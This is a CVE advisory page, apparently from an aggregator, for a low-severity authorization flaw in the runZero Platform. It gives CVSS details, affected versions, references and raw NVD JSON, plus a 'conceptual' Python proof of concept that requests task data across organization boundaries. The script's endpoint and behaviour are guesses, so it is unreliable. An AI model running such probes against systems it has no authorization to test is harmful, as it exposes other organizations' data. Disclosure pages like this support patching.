CVE-2026-5381

Description

An issue that could expose task information outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2 Low). This issue was fixed in version 4.0.260205.0 of the runZero Platform.

CVSS Details

CVSS Score

2.2

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:* - VULNERABLE

runZero Platform < 4.0.260205.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-5381 (Conceptual)
# This script demonstrates a potential authorization bypass to access task information.
# Requires a high-privileged authentication token.

import requests

# Configuration
TARGET_URL = "https://runzero-instance.example.com"
API_TOKEN = "HIGH_PRIVILEGE_TOKEN_HERE"
TARGET_TASK_ID = "target_task_id"
TARGET_ORG_ID = "target_organization_id"

def check_task_info_leak():
    headers = {
        "Authorization": f"Bearer {API_TOKEN}",
        "Content-Type": "application/json"
    }
    
    # Attempt to access task details potentially outside authorized scope
    # In a vulnerable version, the API might not strictly enforce organization boundary checks
    # when the user has high privileges.
    endpoint = f"{TARGET_URL}/api/v1.0/tasks/{TARGET_TASK_ID}"
    
    try:
        response = requests.get(endpoint, headers=headers)
        
        if response.status_code == 200:
            data = response.json()
            print("[+] Potential Vulnerability Confirmed!")
            print(f"[+] Task Details Retrieved: {data}")
            if data.get('organization_id') == TARGET_ORG_ID:
                print(f"[!] Successfully accessed data for Organization ID: {TARGET_ORG_ID}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except Exception as e:
        print(f"[-] Error occurred: {e}")

if __name__ == "__main__":
    check_task_info_leak()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5381
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5381
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5381/
[4] VulDB https://vuldb.com/cve/CVE-2026-5381
[5] https://help.runzero.com/docs/release-notes/#402602050
[6] https://www.runzero.com/advisories/runzero-platform-task-infoleak-cve-2026-5381/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5381", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:48.230", "lastModified": "2026-04-21T15:36:01.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that could expose task information outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2 Low). This issue was fixed in version 4.0.260205.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 1.4}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260205.0", "matchCriteriaId": "CA02DE04-B6E8-40D2-877F-1DE25734B4C1"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602050", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-task-infoleak-cve-2026-5381/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}